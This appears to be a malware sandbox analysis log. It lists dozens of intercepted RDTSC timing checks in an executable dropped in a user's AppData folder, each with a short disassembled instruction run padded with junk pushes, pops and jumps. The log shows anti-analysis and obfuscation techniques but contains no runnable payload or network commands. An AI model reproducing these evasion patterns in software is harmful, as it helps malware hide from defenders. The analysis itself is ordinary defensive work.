Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 48030D second address: 480329 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2738B89E18h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4FFC8A second address: 4FFC91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C6117 second address: 4A95B0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F2738B89E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c jmp 00007F2738B89E14h 0x00000011 nop 0x00000012 mov cx, 3159h 0x00000016 call dword ptr [ebp+122D2BD0h] 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C67B4 second address: 4C67DC instructions: 0x00000000 rdtsc 0x00000002 jns 00007F2738E98EE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov dword ptr [esp], esi 0x0000000e jnl 00007F2738E98EE7h 0x00000014 nop 0x00000015 jmp 00007F2738E98EECh 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C67DC second address: 4C67EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2738B89E0Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C6A78 second address: 4C6AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2738E98EEEh 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D1CFFh], edx 0x00000013 push 00000004h 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007F2738E98EE8h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f xor cl, 00000051h 0x00000032 nop 0x00000033 push eax 0x00000034 push edx 0x00000035 push ecx 0x00000036 pushad 0x00000037 popad 0x00000038 pop ecx 0x00000039 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C6DDA second address: 4C6DDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C6DDE second address: 4C6E0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edx, dword ptr [ebp+122D393Bh] 0x00000010 push 0000001Eh 0x00000012 sub dword ptr [ebp+122D2E09h], edi 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jne 00007F2738E98EF2h 0x00000021 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C6E0B second address: 4C6E10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C6EE3 second address: 4C6EFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F2738E98EECh 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C6EFA second address: 4C6F0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C6F0B second address: 4C6F15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F2738E98EE6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C6F15 second address: 4C6F19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5001E4 second address: 5001E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 500319 second address: 50032E instructions: 0x00000000 rdtsc 0x00000002 je 00007F2738B89E06h 0x00000008 jbe 00007F2738B89E06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop esi 0x00000011 push edx 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5007AE second address: 5007B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F2738E98EE6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 50091B second address: 50093D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2738B89E15h 0x00000008 pushad 0x00000009 popad 0x0000000a jng 00007F2738B89E06h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 504D87 second address: 504D8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 504D8D second address: 504DA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F2738B89E06h 0x0000000a popad 0x0000000b jng 00007F2738B89E0Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 504EB8 second address: 504EBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 505498 second address: 5054BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F2738B89E11h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 504A35 second address: 504A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 504A39 second address: 504A64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 jmp 00007F2738B89E12h 0x0000000d je 00007F2738B89E06h 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 jo 00007F2738B89E1Fh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 505CEB second address: 505CF7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F2738E98EE6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 505CF7 second address: 505D03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F2738B89E06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 505D03 second address: 505D07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 505D07 second address: 505D0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 505D0B second address: 505D1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F2738E98EE6h 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 505D1B second address: 505D1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 481DCA second address: 481DCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 481DCE second address: 481DEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F2738B89E06h 0x00000010 jmp 00007F2738B89E0Eh 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 50C350 second address: 50C380 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2738E98EF8h 0x00000009 jmp 00007F2738E98EF4h 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 50C4F5 second address: 50C4F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 50C4F9 second address: 50C4FF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 50F54A second address: 50F552 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 50EEEB second address: 50EEF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F2738E98EE6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 50EEF6 second address: 50EEFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 50EEFC second address: 50EF2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jnl 00007F2738E98EE6h 0x00000012 push esi 0x00000013 pop esi 0x00000014 popad 0x00000015 pushad 0x00000016 jmp 00007F2738E98EF7h 0x0000001b pushad 0x0000001c popad 0x0000001d push esi 0x0000001e pop esi 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 51254E second address: 512560 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F2738B89E08h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F2738B89E06h 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 515FF4 second address: 515FFA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 515FFA second address: 516004 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2738B89E0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5157F9 second address: 5157FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5157FE second address: 51581B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2738B89E16h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 519FCF second address: 519FED instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2738E98EE6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2738E98EEEh 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 51A276 second address: 51A290 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 jg 00007F2738B89E06h 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007F2738B89E06h 0x00000014 jc 00007F2738B89E06h 0x0000001a rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C6C21 second address: 4C6C28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C6C28 second address: 4C6CED instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F2738B89E08h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F2738B89E12h 0x00000012 nop 0x00000013 mov cx, di 0x00000016 mov ebx, dword ptr [ebp+1248AE60h] 0x0000001c clc 0x0000001d add eax, ebx 0x0000001f call 00007F2738B89E0Ah 0x00000024 mov edi, 3903AA21h 0x00000029 pop ecx 0x0000002a nop 0x0000002b jnl 00007F2738B89E1Eh 0x00000031 push eax 0x00000032 jmp 00007F2738B89E12h 0x00000037 nop 0x00000038 push 00000004h 0x0000003a push 00000000h 0x0000003c push ebx 0x0000003d call 00007F2738B89E08h 0x00000042 pop ebx 0x00000043 mov dword ptr [esp+04h], ebx 0x00000047 add dword ptr [esp+04h], 0000001Dh 0x0000004f inc ebx 0x00000050 push ebx 0x00000051 ret 0x00000052 pop ebx 0x00000053 ret 0x00000054 mov dword ptr [ebp+122D27C7h], ebx 0x0000005a nop 0x0000005b jng 00007F2738B89E1Dh 0x00000061 push edx 0x00000062 jmp 00007F2738B89E15h 0x00000067 pop edx 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b push edx 0x0000006c je 00007F2738B89E06h 0x00000072 pop edx 0x00000073 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4C6CED second address: 4C6CF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F2738E98EE6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 51A6D0 second address: 51A6D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 51A6D4 second address: 51A6DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 51A6DA second address: 51A6E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 51D969 second address: 51D96F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 51D96F second address: 51D987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F2738B89E13h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 51D987 second address: 51D98C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 51D98C second address: 51D9BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2738B89E15h 0x00000009 popad 0x0000000a jmp 00007F2738B89E0Dh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 51D9BB second address: 51D9C7 instructions: 0x00000000 rdtsc 0x00000002 je 00007F2738E98EE6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 51D9C7 second address: 51D9CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 51D9CF second address: 51D9E0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F2738E98EE6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 51DB3B second address: 51DB66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2738B89E12h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2738B89E10h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 51DB66 second address: 51DB78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 51DB78 second address: 51DBA2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 je 00007F2738B89E06h 0x00000009 pop esi 0x0000000a js 00007F2738B89E08h 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push esi 0x00000018 pop esi 0x00000019 jng 00007F2738B89E06h 0x0000001f popad 0x00000020 jmp 00007F2738B89E0Ah 0x00000025 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 51DBA2 second address: 51DBAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F2738E98EE6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 51DD4E second address: 51DD54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 51DD54 second address: 51DD58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 525079 second address: 52507F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5251BB second address: 525200 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F2738E98EE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F2738E98EF7h 0x00000011 jmp 00007F2738E98EF8h 0x00000016 popad 0x00000017 pushad 0x00000018 jnp 00007F2738E98EF2h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 525200 second address: 525206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 525206 second address: 525227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F2738E98EF9h 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 525CEC second address: 525CF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 525CF0 second address: 525D12 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2738E98EE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007F2738E98EF2h 0x00000012 push edi 0x00000013 pop edi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 525FBD second address: 525FC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5265AB second address: 5265C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2738E98EF1h 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 52E011 second address: 52E02E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2738B89E19h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 52E02E second address: 52E03C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2738E98EE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 52E03C second address: 52E052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2738B89E12h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 52E1BD second address: 52E1D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jno 00007F2738E98EE6h 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 52E348 second address: 52E364 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2738B89E18h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 52E364 second address: 52E368 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 52E8B4 second address: 52E8B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 52E8B8 second address: 52E8BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 52EA4B second address: 52EA80 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F2738B89E17h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2738B89E15h 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 53465D second address: 534661 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5347D4 second address: 5347DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 534AA6 second address: 534ABF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EEDh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 534DFB second address: 534E24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E19h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnl 00007F2738B89E0Ah 0x00000011 rdtsc
